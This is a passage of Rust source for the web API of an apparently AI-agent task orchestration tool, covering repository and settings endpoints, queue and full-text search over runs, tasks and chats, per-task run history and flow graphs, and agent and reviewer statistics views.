3328
3329impl From<Task> for TaskView {
3330 fn from(task: Task) -> Self {
3331 Self {
3332 source_label: task.source.label(),
3333 source_link: source_link(&task.source),
3334 status_str: task.status.as_str(),
3335 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3336 waits_on: Vec::new(),
3337 stuck_roots: Vec::new(),
3338 task,
3339 }
3340 }
3341}
3342
3343impl TaskView {
3344 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3345 let waits_on = inv.waits_on(&task);
3346 let stuck_roots = inv
3347 .stuck_roots(&task)
3348 .iter()
3349 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3350 .collect();
3351 Self {
3352 waits_on,
3353 stuck_roots,
3354 ..Self::from(task)
3355 }
3356 }
3357}
3358
3359#[derive(Debug, Default, Deserialize)]
3362#[serde(default)]
3363struct ReposQuery {
3364 refresh: u8,
3365}
3366
3367async fn repos_list(
3374 State(ui): State<Arc<Ui>>,
3375 Query(q): Query<ReposQuery>,
3376) -> ApiResult<Json<Vec<repos::Repo>>> {
3377 let refresh = q.refresh != 0;
3378 blocking(move || {
3379 let (cfg, _) = Config::discover(&ui.repo, None)?;
3380 Ok(Json(ui.repos_cache.list(
3381 &cfg.repos.roots,
3382 Duration::from_secs(cfg.repos.scan_ttl),
3383 refresh,
3384 )))
3385 })
3386 .await
3387}
3388
3389async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3393 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3394}
3395
3396#[derive(Debug, Deserialize)]
3398#[serde(deny_unknown_fields)]
3399struct RolesBody {
3400 revision: String,
3402 roles: std::collections::BTreeMap<String, Vec<String>>,
3404}
3405
3406async fn settings_put_roles(
3412 State(ui): State<Arc<Ui>>,
3413 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3414) -> ApiResult<Json<settings::SettingsView>> {
3415 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3416 blocking(move || {
3417 settings::save(
3418 &ui.repo,
3419 ui.machine_config.as_deref(),
3420 &body.revision,
3421 &body.roles,
3422 )
3423 .map(Json)
3424 .map_err(|e| match e {
3425 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3426 settings::SaveError::Refused(m) => ApiError {
3427 status: StatusCode::UNPROCESSABLE_ENTITY,
3428 message: m,
3429 },
3430 settings::SaveError::Internal(m) => ApiError::internal(m),
3431 })
3432 })
3433 .await
3434}
3435
3436async fn queue_list(
3437 State(ui): State<Arc<Ui>>,
3438 Query(q): Query<ListQuery>,
3439) -> ApiResult<Json<Vec<TaskView>>> {
3440 blocking(move || {
3441 let tasks = ui.queue.list();
3442 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3443 Ok(Json(
3444 tasks
3445 .into_iter()
3446 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3447 .map(|t| TaskView::with_inventory(t, &inv))
3448 .collect(),
3449 ))
3450 })
3451 .await
3452}
3453
3454const SEARCH_MAX_HITS: usize = 100;
3456const SEARCH_MAX_QUERY: usize = 200;
3458const SEARCH_MAX_TERMS: usize = 8;
3459const SNIPPET_BEFORE: usize = 50;
3461const SNIPPET_AFTER: usize = 110;
3462
3463#[derive(Debug, Deserialize)]
3465struct SearchQuery {
3466 #[serde(default)]
3467 scope: String,
3468 #[serde(default)]
3469 q: String,
3470}
3471
3472#[derive(Debug, Serialize, PartialEq, Eq)]
3475struct SnippetPart {
3476 text: String,
3477 hit: bool,
3478}
3479
3480#[derive(Debug, Serialize)]
3481struct SearchHit {
3482 id: String,
3483 field: String,
3485 snippet: Vec<SnippetPart>,
3486 #[serde(skip_serializing_if = "Option::is_none")]
3490 run: Option<RunSummary>,
3491}
3492
3493#[derive(Debug, Serialize)]
3494struct SearchView {
3495 scope: String,
3496 q: String,
3497 hits: Vec<SearchHit>,
3499 total: usize,
3501 truncated: bool,
3502 unreadable: usize,
3505}
3506
3507fn text_leaves<'a>(
3510 value: &'a serde_json::Value,
3511 field: &'a str,
3512 out: &mut Vec<(&'a str, &'a str)>,
3513) {
3514 match value {
3515 serde_json::Value::String(s) => out.push((field, s)),
3516 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3517 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3518 _ => {}
3519 }
3520}
3521
3522fn fold_char(c: char) -> char {
3525 c.to_lowercase().next().unwrap_or(c)
3526}
3527
3528fn search_terms(q: &str) -> Vec<String> {
3530 let mut terms: Vec<String> = Vec::new();
3531 for t in q.split_whitespace() {
3532 let t = t.to_lowercase();
3533 if !terms.contains(&t) {
3534 terms.push(t);
3535 }
3536 }
3537 terms
3538}
3539
3540fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3543 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3544 let mut first: Option<usize> = None;
3545 for term in terms {
3546 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3547 first = Some(first.map_or(at, |f| f.min(at)));
3548 }
3549 let (field, text) = leaves[first?];
3551 Some(SearchHit {
3552 id: String::new(),
3553 field: field.to_owned(),
3554 snippet: snippet_of(text, terms),
3555 run: None,
3556 })
3557}
3558
3559fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3562 let chars: Vec<char> = text.chars().collect();
3563 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3564 let needles: Vec<Vec<char>> = terms
3565 .iter()
3566 .map(|t| t.chars().map(fold_char).collect())
3567 .collect();
3568 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3569 let mut best: Option<(usize, usize)> = None;
3570 for n in needles.iter().filter(|n| !n.is_empty()) {
3571 if n.len() > chars.len() || to == 0 {
3575 continue;
3576 }
3577 let last = (to - 1).min(chars.len() - n.len());
3578 if from > last {
3579 continue;
3580 }
3581 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3582 && best.is_none_or(|(b, _)| i < b)
3583 {
3584 best = Some((i, i + n.len()));
3585 }
3586 }
3587 best
3588 };
3589 let Some((start, _)) = find(0, chars.len()) else {
3590 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3592 return vec![SnippetPart {
3593 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3594 hit: false,
3595 }];
3596 };
3597 let lo = start.saturating_sub(SNIPPET_BEFORE);
3598 let hi = (start + SNIPPET_AFTER).min(chars.len());
3599 let mut parts: Vec<SnippetPart> = Vec::new();
3600 let mut push = |s: &[char], hit: bool| {
3601 if s.is_empty() {
3602 return;
3603 }
3604 let text: String = s.iter().collect();
3605 match parts.last_mut() {
3606 Some(p) if p.hit == hit => p.text.push_str(&text),
3607 _ => parts.push(SnippetPart { text, hit }),
3608 }
3609 };
3610 if lo > 0 {
3611 push(&['\u{2026}'], false);
3612 }
3613 let mut at = lo;
3614 while at < hi {
3615 match find(at, hi) {
3616 Some((s, e)) => {
3617 push(&chars[at..s], false);
3618 let shown = e.min(hi);
3620 push(&chars[s..shown], true);
3621 at = shown;
3622 }
3623 None => {
3624 push(&chars[at..hi], false);
3625 at = hi;
3626 }
3627 }
3628 }
3629 if hi < chars.len() {
3630 push(&['\u{2026}'], false);
3631 }
3632 let mut prev_space = false;
3635 for p in &mut parts {
3636 let mut out = String::with_capacity(p.text.len());
3637 for c in p.text.chars() {
3638 if c.is_whitespace() {
3639 if !prev_space {
3640 out.push(' ');
3641 }
3642 prev_space = true;
3643 } else {
3644 out.push(c);
3645 prev_space = false;
3646 }
3647 }
3648 p.text = out;
3649 }
3650 parts.retain(|p| !p.text.is_empty());
3651 parts
3652}
3653
3654fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3656where
3657 I: IntoIterator<Item = (String, serde_json::Value)>,
3658{
3659 for (id, doc) in docs {
3660 let mut leaves = Vec::new();
3661 leaves.push(("id", id.as_str()));
3664 text_leaves(&doc, "", &mut leaves);
3665 if let Some(mut hit) = search_document(terms, &leaves) {
3666 view.total += 1;
3667 if view.hits.len() < SEARCH_MAX_HITS {
3668 hit.id = id;
3669 view.hits.push(hit);
3670 }
3671 }
3672 }
3673 view.truncated = view.total > view.hits.len();
3674}
3675
3676fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3683 let opener = talk
3684 .turns
3685 .iter()
3686 .find(|t| t.who == crate::talk::Who::Operator)
3687 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3688 .unwrap_or("");
3689 let title: String = if opener.chars().count() > 96 {
3690 opener.chars().take(95).chain(['\u{2026}']).collect()
3691 } else {
3692 opener.to_owned()
3693 };
3694 let turns: Vec<serde_json::Value> = talk
3695 .turns
3696 .iter()
3697 .map(|t| {
3698 let who = match t.who {
3699 crate::talk::Who::Operator => "operator",
3700 crate::talk::Who::Agent => "agent",
3701 };
3702 serde_json::json!({ who: t.body })
3703 })
3704 .collect();
3705 serde_json::json!({ "title": title, "turns": turns })
3706}
3707
3708async fn search_get(
3715 State(ui): State<Arc<Ui>>,
3716 Query(q): Query<SearchQuery>,
3717) -> ApiResult<Json<SearchView>> {
3718 let query = q.q.trim().to_owned();
3719 if query.is_empty() {
3720 return Err(ApiError::bad_request("q must not be empty"));
3721 }
3722 if query.chars().count() > SEARCH_MAX_QUERY {
3723 return Err(ApiError::bad_request(format!(
3724 "q is longer than {SEARCH_MAX_QUERY} characters"
3725 )));
3726 }
3727 let terms = search_terms(&query);
3728 if terms.len() > SEARCH_MAX_TERMS {
3729 return Err(ApiError::bad_request(format!(
3730 "q has more than {SEARCH_MAX_TERMS} terms"
3731 )));
3732 }
3733 let scope = q.scope;
3734 if scope != "runs" && scope != "tasks" && scope != "chats" {
3735 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3736 }
3737 blocking(move || {
3738 let mut view = SearchView {
3739 scope: scope.clone(),
3740 q: query,
3741 hits: Vec::new(),
3742 total: 0,
3743 truncated: false,
3744 unreadable: 0,
3745 };
3746 if scope == "runs" {
3747 let mut unreadable = 0;
3748 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3752 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3753 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3754 Some(v) => Some((id, v)),
3755 None => {
3756 unreadable += 1;
3757 None
3758 }
3759 }
3760 });
3761 search_docs(&terms, docs, &mut view);
3762 view.unreadable = unreadable;
3763 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3766 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3767 for hit in &mut view.hits {
3768 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3769 hit.run = summarize(
3770 [state],
3771 &open_runs,
3772 &claimed,
3773 &superseded,
3774 |p| probe.borrow_mut().status(p),
3775 |p| probe.borrow_mut().started_at(p),
3776 )
3777 .pop();
3778 }
3779 }
3780 } else if scope == "chats" {
3781 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3782 view.unreadable = unreadable;
3783 search_docs(
3784 &terms,
3785 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3786 &mut view,
3787 );
3788 } else {
3789 let docs = ui.queue.list().into_iter().filter_map(|t| {
3790 let mut v = serde_json::to_value(&t).ok()?;
3791 if let Some(o) = v.as_object_mut() {
3794 o.insert("filed_by".to_owned(), t.source.label().into());
3795 }
3796 Some((t.id, v))
3797 });
3798 search_docs(&terms, docs, &mut view);
3799 }
3800 Ok(Json(view))
3801 })
3802 .await
3803}
3804
3805#[derive(Debug, Serialize)]
3807struct TaskRunView {
3808 n: usize,
3810 id: String,
3811 short: String,
3812 kind: &'static str,
3814 status: Option<&'static str>,
3816 readable: bool,
3818 provisional: bool,
3820 description: String,
3822 outcome: String,
3824 created_at: Option<Timestamp>,
3825 pr: Option<String>,
3826 exit: RunExit,
3828 attempt: AttemptCost,
3830 branch: Option<String>,
3832}
3833
3834#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3836#[serde(rename_all = "snake_case")]
3837enum RunExit {
3838 Unreadable,
3839 Interrupted,
3841 Parked,
3842 QuotaStall,
3843 ResumedQuotaStall,
3847 Merged,
3848 Ready,
3849 Superseded,
3850 AlreadyInBase,
3853 Stalled,
3855 HeldWithPr,
3857 NoopHeld,
3858 Spent,
3860 InProgress,
3861}
3862
3863#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3864#[serde(rename_all = "snake_case")]
3865enum AttemptCost {
3866 Spent,
3867 Refunded,
3868 None,
3869 Unknown,
3871}
3872
3873impl RunExit {
3874 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3875 let Some(s) = s else {
3876 return Self::Unreadable;
3877 };
3878 let status = s.status;
3879 if resumed_later {
3880 Self::Interrupted
3881 } else if s.parked {
3882 Self::Parked
3883 } else if !status.done() {
3884 Self::InProgress
3885 } else if matches!(status, RunStatus::Merged) {
3886 Self::Merged
3887 } else if matches!(status, RunStatus::Ready) {
3888 Self::Ready
3889 } else if matches!(status, RunStatus::Superseded) {
3890 Self::Superseded
3891 } else if matches!(status, RunStatus::AlreadyInBase) {
3892 Self::AlreadyInBase
3893 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3894 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3895 {
3896 if resumed {
3897 Self::ResumedQuotaStall
3898 } else {
3899 Self::QuotaStall
3900 }
3901 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3902 Self::HeldWithPr
3903 } else if matches!(status, RunStatus::VerifiedNoop) {
3904 Self::NoopHeld
3905 } else if matches!(status, RunStatus::Stalled) {
3906 Self::Stalled
3907 } else {
3908 Self::Spent
3909 }
3910 }
3911
3912 fn cost(self) -> AttemptCost {
3913 match self {
3914 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3915 Self::Merged
3916 | Self::Ready
3917 | Self::Stalled
3918 | Self::HeldWithPr
3919 | Self::NoopHeld
3920 | Self::Spent => AttemptCost::Spent,
3921 Self::InProgress => AttemptCost::None,
3922 Self::AlreadyInBase => AttemptCost::Refunded,
3923 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3924 AttemptCost::Unknown
3925 }
3926 }
3927 }
3928
3929 fn edge_label(self, status: Option<&str>) -> String {
3931 match self {
3932 Self::Unreadable => "record unreadable".to_owned(),
3933 Self::Interrupted => "interrupted before the run finished".to_owned(),
3934 Self::Parked => "parked, attempt refunded".to_owned(),
3935 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3936 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3937 Self::Merged => "merged".to_owned(),
3938 Self::Ready => "ready, not merged".to_owned(),
3939 Self::Superseded => "superseded by a later attempt".to_owned(),
3940 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3941 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3942 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3943 Self::NoopHeld => "verified no-op".to_owned(),
3944 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3945 Self::InProgress => "in progress".to_owned(),
3946 }
3947 }
3948
3949 fn explains(self, end: TaskStatus) -> bool {
3952 match self {
3953 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3954 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3955 Self::Unreadable | Self::Superseded | Self::Ready => true,
3956 _ => end != TaskStatus::Done,
3957 }
3958 }
3959}
3960
3961#[derive(Debug, Serialize)]
3963struct TaskDetailView {
3964 #[serde(flatten)]
3965 task: TaskView,
3966 max_attempts: usize,
3969 history: Vec<TaskRunView>,
3970 flow: FlowView,
3971 runs_unreadable: usize,
3973 attempts_note: &'static str,
3975}
3976
3977const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3978and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3979on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3980in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3981
3982fn review_branch_of(instruction: &str) -> Option<&str> {
3985 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3986 rest.split('`').next().filter(|b| !b.is_empty())
3987}
3988
3989struct RunSlot<'a> {
3991 n: usize,
3993 resumed: bool,
3995 resumed_later: Option<usize>,
3997 prior: Option<(&'a str, RunStatus)>,
3999 last: bool,
4000}
4001
4002fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4005 let RunSlot {
4006 n,
4007 resumed,
4008 resumed_later,
4009 prior,
4010 last,
4011 } = at;
4012 let short = run::short_of(id).to_owned();
4013 let Some(s) = state else {
4014 return TaskRunView {
4015 n,
4016 id: id.to_owned(),
4017 short,
4018 kind: "unknown",
4019 status: None,
4020 readable: false,
4021 provisional: false,
4022 description:
4023 "This run's record could not be read by this build (written by a different \
4024 magi, or removed), so what kind of attempt it was is unknown."
4025 .to_owned(),
4026 outcome: String::new(),
4027 created_at: None,
4028 pr: None,
4029 exit: RunExit::Unreadable,
4030 attempt: AttemptCost::Unknown,
4031 branch: None,
4032 };
4033 };
4034 let branch = review_branch_of(&s.instruction);
4035 let kind = if resumed {
4036 "resume"
4037 } else if branch.is_some() {
4038 "review"
4039 } else if task.solo || s.candidates.len() == 1 {
4040 "solo"
4041 } else {
4042 "competition"
4043 };
4044 let mut description = match kind {
4045 "resume" => {
4046 format!("Resumed run {short}: the same run carried on instead of competing again.")
4047 }
4048 "review" => format!(
4049 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4050 branch.unwrap_or_default()
4051 ),
4052 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4053 _ => format!(
4054 "Competition: {} candidates judged blind.",
4055 s.candidates.len().max(1)
4056 ),
4057 };
4058 if !resumed && let Some((p, st)) = prior {
4059 description.push_str(&format!(
4060 " A retry: run {p} before it ended {}.",
4061 st.display_label()
4062 ));
4063 }
4064
4065 let status = s.status;
4066 let provisional = matches!(status, RunStatus::Stalled)
4067 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4068 let head = if resumed_later.is_some() {
4069 String::new()
4070 } else {
4071 match status {
4072 RunStatus::Merged => "Merged.".to_owned(),
4073 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4074 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4075 RunStatus::AlreadyInBase => {
4076 "Already in the base: this change landed under other commits, nothing was left to land."
4077 .to_owned()
4078 }
4079 RunStatus::Stalled => {
4080 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4081 .to_owned()
4082 }
4083 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4084 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4085 RunStatus::VerifiedNoop => {
4086 "Verified no-op: the candidates found nothing to change.".to_owned()
4087 }
4088 other if other.done() => format!("Ended {}.", other.display_label()),
4089 other => format!("In progress ({}).", other.display_label()),
4090 }
4091 };
4092 let why = if let Some(k) = resumed_later {
4093 let cause = if s.quota.is_empty() {
4100 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4101 } else {
4102 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4103 };
4104 format!(
4105 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4106 )
4107 } else if s.parked {
4108 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4109 .to_owned()
4110 } else if !status.done()
4111 || matches!(
4112 status,
4113 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4114 )
4115 {
4116 String::new()
4117 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4118 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4119 {
4120 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4121 .to_owned()
4122 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4123 " It left a pull request open, so the task was held for a person rather than retried."
4124 .to_owned()
4125 } else if matches!(status, RunStatus::VerifiedNoop) {
4126 " Held for a person to check the claim.".to_owned()
4127 } else if last {
4128 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4129 } else {
4130 " It spent an attempt, and the task moved on to the next run.".to_owned()
4131 };
4132 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4133 TaskRunView {
4134 n,
4135 id: id.to_owned(),
4136 short,
4137 kind,
4138 status: Some(status.as_str()),
4139 readable: true,
4140 provisional,
4141 description,
4142 outcome: format!("{head}{why}"),
4143 created_at: Some(s.created_at),
4144 pr: s.pr.as_ref().map(|p| p.url.clone()),
4145 exit,
4146 attempt: exit.cost(),
4147 branch: branch.map(str::to_owned),
4148 }
4149}
4150
4151#[derive(Debug, Serialize, PartialEq)]
4153struct FlowNode {
4154 key: String,
4156 kind: &'static str,
4158 label: String,
4159 status: Option<&'static str>,
4162 note: Option<&'static str>,
4164 run_kind: Option<&'static str>,
4165 detail: Option<String>,
4166 decided: bool,
4168 readable: bool,
4169 href: Option<String>,
4170}
4171
4172#[derive(Debug, Serialize, PartialEq)]
4173struct FlowEdge {
4174 from: String,
4175 to: String,
4176 label: String,
4177 attempt: AttemptCost,
4178}
4179
4180#[derive(Debug, Serialize, PartialEq)]
4181struct FlowView {
4182 nodes: Vec<FlowNode>,
4183 edges: Vec<FlowEdge>,
4184 attempts: usize,
4186 max_attempts: usize,
4187}
4188
4189fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4192 let node = |key: &str, kind, label: String| FlowNode {
4193 key: key.to_owned(),
4194 kind,
4195 label,
4196 status: None,
4197 note: None,
4198 run_kind: None,
4199 detail: None,
4200 decided: false,
4201 readable: true,
4202 href: None,
4203 };
4204 let mut nodes = Vec::new();
4205 let mut edges: Vec<FlowEdge> = Vec::new();
4206 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4208 let mut n = node(
4209 "chat",
4210 "chat",
4211 format!("Chat {}", crate::queue::short(&link.id)),
4212 );
4213 n.href = Some(link.href);
4214 nodes.push(n);
4215 edges.push(FlowEdge {
4216 from: "chat".to_owned(),
4217 to: "start".to_owned(),
4218 label: "queued from chat".to_owned(),
4219 attempt: AttemptCost::None,
4220 });
4221 }
4222 nodes.push(node("start", "start", "Task queued".to_owned()));
4223 let mut prev = "start".to_owned();
4224 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4225 for (i, h) in history.iter().enumerate() {
4226 let key = format!("run-{}", h.n);
4227 let mut n = node(&key, "run", format!("Run {}", h.short));
4228 n.run_kind = Some(h.kind);
4229 n.readable = h.readable;
4230 n.href = Some(format!("#/runs/{}", h.id));
4231 n.decided = h.readable && !h.provisional;
4232 n.detail = h
4233 .branch
4234 .as_ref()
4235 .map(|b| format!("review-only run of branch {b}"));
4236 match h.exit {
4237 RunExit::Unreadable => n.note = Some("unreadable"),
4238 RunExit::Interrupted => n.note = Some("interrupted"),
4239 _ => {
4240 n.status = h.status;
4241 if h.provisional {
4242 n.note = Some("no verdict");
4243 }
4244 }
4245 }
4246 let into = match h.kind {
4247 "review" => Some(format!(
4248 "review-only run of branch {}",
4249 h.branch.as_deref().unwrap_or("?")
4250 )),
4251 "resume" => Some("resume the same run".to_owned()),
4252 _ if i > 0 => Some("retry".to_owned()),
4253 _ => None,
4254 };
4255 let label = match (prev_exit, into) {
4256 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4257 (Some((e, st)), None) => e.edge_label(st),
4258 (None, Some(i)) => i,
4259 (None, None) => "claimed".to_owned(),
4260 };
4261 edges.push(FlowEdge {
4262 from: prev.clone(),
4263 to: key.clone(),
4264 label,
4265 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4266 });
4267 prev_exit = Some((h.exit, h.status));
4268 prev = key;
4269 nodes.push(n);
4270 }
4271 let mut end = node("end", "end", task.status.as_str().to_owned());
4272 end.status = Some(task.status.as_str());
4273 nodes.push(end);
4274 let (label, attempt) = match prev_exit {
4275 None => (
4276 format!("no run yet \u{2192} {}", task.status.as_str()),
4277 AttemptCost::None,
4278 ),
4279 Some((e, st)) if e.explains(task.status) => (
4280 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4281 e.cost(),
4282 ),
4283 Some((e, _)) => (
4284 format!("closed by hand: task is {}", task.status.as_str()),
4285 e.cost(),
4286 ),
4287 };
4288 edges.push(FlowEdge {
4289 from: prev,
4290 to: "end".to_owned(),
4291 label,
4292 attempt,
4293 });
4294 FlowView {
4295 nodes,
4296 edges,
4297 attempts: task.attempts,
4298 max_attempts,
4299 }
4300}
4301
4302fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4305 let mut history = Vec::with_capacity(task.runs.len());
4306 let mut seen: Vec<&str> = Vec::new();
4307 let mut prior: Option<(&str, RunStatus)> = None;
4308 for (i, run_id) in task.runs.iter().enumerate() {
4309 let state = read(run_id);
4310 let resumed = seen.contains(&run_id.as_str());
4311 seen.push(run_id);
4312 history.push(task_run_view(
4313 run_id,
4314 state.as_ref(),
4315 RunSlot {
4316 n: i + 1,
4317 resumed,
4318 resumed_later: task.runs[i + 1..]
4319 .iter()
4320 .position(|r| r == run_id)
4321 .map(|off| i + off + 2),
4322 prior,
4323 last: i + 1 == task.runs.len(),
4324 },
4325 task,
4326 ));
4327 if let Some(s) = &state {
4328 prior = Some((run::short_of(run_id), s.status));
4329 }
4330 }
4331 history
4332}
4333
4334async fn task_detail(
4335 State(ui): State<Arc<Ui>>,
4336 Path(id): Path<String>,
4337) -> ApiResult<Json<TaskDetailView>> {
4338 blocking(move || {
4339 let id = resolve_task(&ui.queue, &id)?;
4340 let task = ui
4341 .queue
4342 .get(&id)
4343 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4344 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4345 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4346 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4347 let max_attempts = daemon::Opts::default().max_attempts;
4348 let flow = task_flow(&task, &history, max_attempts);
4349 Ok(Json(TaskDetailView {
4350 max_attempts,
4351 flow,
4352 history,
4353 runs_unreadable,
4354 attempts_note: ATTEMPTS_NOTE,
4355 task: TaskView::with_inventory(task, &inv),
4356 }))
4357 })
4358 .await
4359}
4360
4361#[derive(Debug, Serialize)]
4365struct RateView {
4366 pct: f64,
4367 denominator: usize,
4368}
4369
4370impl RateView {
4371 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4372 (denominator > 0).then(|| Self {
4373 pct: 100.0 * numerator as f64 / denominator as f64,
4374 denominator,
4375 })
4376 }
4377}
4378
4379#[derive(Debug, Serialize)]
4384struct StatsTotalsView {
4385 runs: usize,
4386 merged: usize,
4387 ready: usize,
4388 blocked: usize,
4389 failed: usize,
4390 stalled: usize,
4391 verified_noop: usize,
4392 superseded: usize,
4393 in_progress: usize,
4394 completion_rate: Option<RateView>,
4395 tallied: usize,
4396 split: usize,
4397 split_rate: Option<RateView>,
4398 deliberated: usize,
4399 minds_changed: usize,
4400 converged: usize,
4401 review_rounds: usize,
4402}
4403
4404impl From<&stats::Totals> for StatsTotalsView {
4405 fn from(t: &stats::Totals) -> Self {
4406 Self {
4407 runs: t.runs,
4408 merged: t.merged,
4409 ready: t.ready,
4410 blocked: t.blocked,
4411 failed: t.failed,
4412 stalled: t.stalled,
4413 verified_noop: t.verified_noop,
4414 superseded: t.superseded,
4415 in_progress: t.in_progress,
4416 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4417 tallied: t.tallied,
4418 split: t.split,
4419 split_rate: RateView::of(t.split, t.tallied),
4420 deliberated: t.deliberated,
4421 minds_changed: t.minds_changed,
4422 converged: t.converged,
4423 review_rounds: t.review_rounds,
4424 }
4425 }
4426}
4427
4428#[derive(Debug, Serialize)]
4430struct AgentStatsView {
4431 agent: String,
4432 entered: usize,
4433 wins: usize,
4434 empty: usize,
4435 win_rate: Option<RateView>,
4436}
4437
4438impl From<&stats::AgentStats> for AgentStatsView {
4439 fn from(a: &stats::AgentStats) -> Self {
4440 Self {
4441 agent: a.agent.clone(),
4442 entered: a.entered,
4443 wins: a.wins,
4444 empty: a.empty,
4445 win_rate: RateView::of(a.wins, a.entered),
4446 }
4447 }
4448}
4449
4450#[derive(Debug, Serialize)]
4454struct ReviewerStatsView {
4455 agent: String,
4456 rounds: usize,
4457 seated: usize,
4458 submitted: usize,
4459 adopted: usize,
4460 unique: usize,
4461 timeouts: usize,
4462 adopted_per_round: Option<f64>,
4463 precision: Option<RateView>,
4464 unique_rate: Option<RateView>,
4465 timeout_rate: Option<RateView>,
4466}
4467
4468impl From<&stats::ReviewerStats> for ReviewerStatsView {
4469 fn from(r: &stats::ReviewerStats) -> Self {
4470 Self {
4471 agent: r.agent.clone(),
4472 rounds: r.rounds,
4473 seated: r.seated,
4474 submitted: r.submitted,
4475 adopted: r.adopted,
4476 unique: r.unique,
4477 timeouts: r.timeouts,
4478 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4479 precision: RateView::of(r.adopted, r.submitted),
4480 unique_rate: RateView::of(r.unique, r.submitted),
4481 timeout_rate: RateView::of(r.timeouts, r.seated),
4482 }
4483 }
4484}
4485
